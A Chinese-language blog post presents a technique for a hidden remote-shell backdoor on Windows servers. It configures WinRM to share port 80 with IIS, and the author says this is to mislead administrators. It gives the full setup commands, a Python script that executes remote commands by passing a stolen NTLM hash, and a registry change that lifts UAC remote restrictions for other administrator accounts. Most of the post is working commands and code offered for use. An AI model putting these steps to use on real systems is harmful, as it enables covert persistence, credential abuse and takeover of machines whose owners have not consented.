端口复用技术(上)-winRM

windows下的端口复用技术

Posted by hmoytx on November 5, 2019

端口复用技术(上)-winRM

原理

基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

  • WinRM服务
    WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。
  • HTTP.sys驱动
    HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。

系统默认有10个DACl,可以通过netsh http show urlacl看到具体内容,其中5985是http端口,5986是https。

开启WinRM服务

在2012及以上的服务器版本中,默认开启,监听端口5985,可以不用手动开启。
对于Windows 2008来说,需要使用命令来启动WinRM服务,运行后会自动添加防火墙例外规则,放行5985端口。

winrm quickconfig -q

此时默认端口是5985,需要设置成80端口(默认的IIS)。

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{URLPrefix="abc"}  # 设置URI

191105_1
我这里测试的是一台2012,默认开了就改下端口。直接执行下面的命令:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} # 新增80端口监听
winrm set winrm/config/service @{EnableCompatibilityHttpListener="false"} # 删除80端口监听 

191105_2
其他一些常用的命令:

netsh http show servicestate # 查看注册的URL
winrm e winrm/config/listener # 查看监听设置
winrm get winrm/config # 查看配置

此时5985端口是保留的,在一些特殊情况下可以修改默认端口为80,用于迷惑管理员,正常2012以上版本的还是建议保留5985。
191105_3
此时访问端口80,还是正常的iis服务。
191105_4

客户端连接

本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。

winrm quickconfig -q 
winrm set winrm/config/Client @{TrustedHosts="*"}

然后设置明文连接执行命令,格式如下:

winrs -r:http://xxx.xxx.xxx.xxx -u:administrator -p:password whoami


将执行命令whoami替换成cmd,可以得到一个交互式的shell。
现在很多情况下是无法读到明文,只能读到NTLM-hash,这里借鉴别的源码给出python实现的winrs连接脚本。

# encoding: utf-8
import argparse
import urlparse
import requests
import winrm
import sys


def GetUrlState(url):
    r = requests.get(url)
    if r.status_code == 405:
        return True
    else:
        return False


def ParseUrl(url):
    parse = urlparse.urlparse(url)
    uri = parse.path
    ip = parse.netloc
    port = 80 if parse.port is None else parse.port
    return ip,port,uri


def RunCmd(ip,port,uri,cmd,**kwargs):
    if kwargs.get("hashpasswd"):
        try:
            Windwoscmd = winrm.Session('http://' + ip + ":" + str(port) + uri, auth=(kwargs.get("user"), '00000000000000000000000000000000:'+kwargs.get("hashpasswd")),
                                   transport="ntlm", server_cert_validation='ignore')
            Result = Windwoscmd.run_cmd(str(cmd))
            sys.stdout.write(Result.std_err.decode('gbk'))
            sys.stdout.write(Result.std_out.decode('gbk'))
            sys.stdout.write('\n')
        except Exception as ex:
            print "[+]> Hash发生错误:" + str(ex)
    else:
        try:
            Windwoscmd = winrm.Session('http://' + ip + ":" + str(port) + uri, auth=(kwargs.get("user"), kwargs.get("passwd")),
                                       transport="basic", server_cert_validation='ignore')
            Result = Windwoscmd.run_cmd(str(cmd))
            sys.stdout.write(Result.std_err.decode('gbk'))
            sys.stdout.write(Result.std_out.decode('gbk'))
            sys.stdout.write('\n')
        except Exception as ex:
            print "[+]> Pass发生错误:" + str(ex)


if __name__ == '__main__':
    #windows 2008上面是LM-HASH:NTLM-HASH的方式,需要修改源代码,去掉上面的一堆0加上冒号
    example_text = '''example:
    python winrs.py -r http://192.168.1.2:5985/wsman -u administrator -H xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -c "whoami"
    '''
    parser = argparse.ArgumentParser(description='WinRMTTools, only work >= Windows Server 2012',epilog=example_text)
    parser.add_argument("-r", "--remote", metavar="", required=True, help="http://192.168.1.26:5985/wsman")
    parser.add_argument("-u", "--user", metavar="", help="username", default="administrator")
    parser.add_argument("-p", "--passwd", metavar="", help="password", default="")
    parser.add_argument("-H", "--hashpasswd", metavar="", help="NTLM-Hash", default="")
    parser.add_argument("-c", "--command", metavar="", help="cmd", default="whoami")
    args = parser.parse_args()
    if GetUrlState(args.remote):
        ip, port, uri = ParseUrl(args.remote)
        RunCmd(ip, port, uri, args.command, user=args.user, passwd=args.passwd, hashpasswd=args.hashpasswd)
    else:
        print "[*]> Windwos WinRM服务未开启请检查服务是否开启!"

使用的时候直接:

python winrs.py -r http://192.168.1.2:5985/wsman -u administrator -H xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -c "whoami"

注意问题

UAC问题
WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,就可以用其他管理员进行登录,且返回的权限也是最高的权限。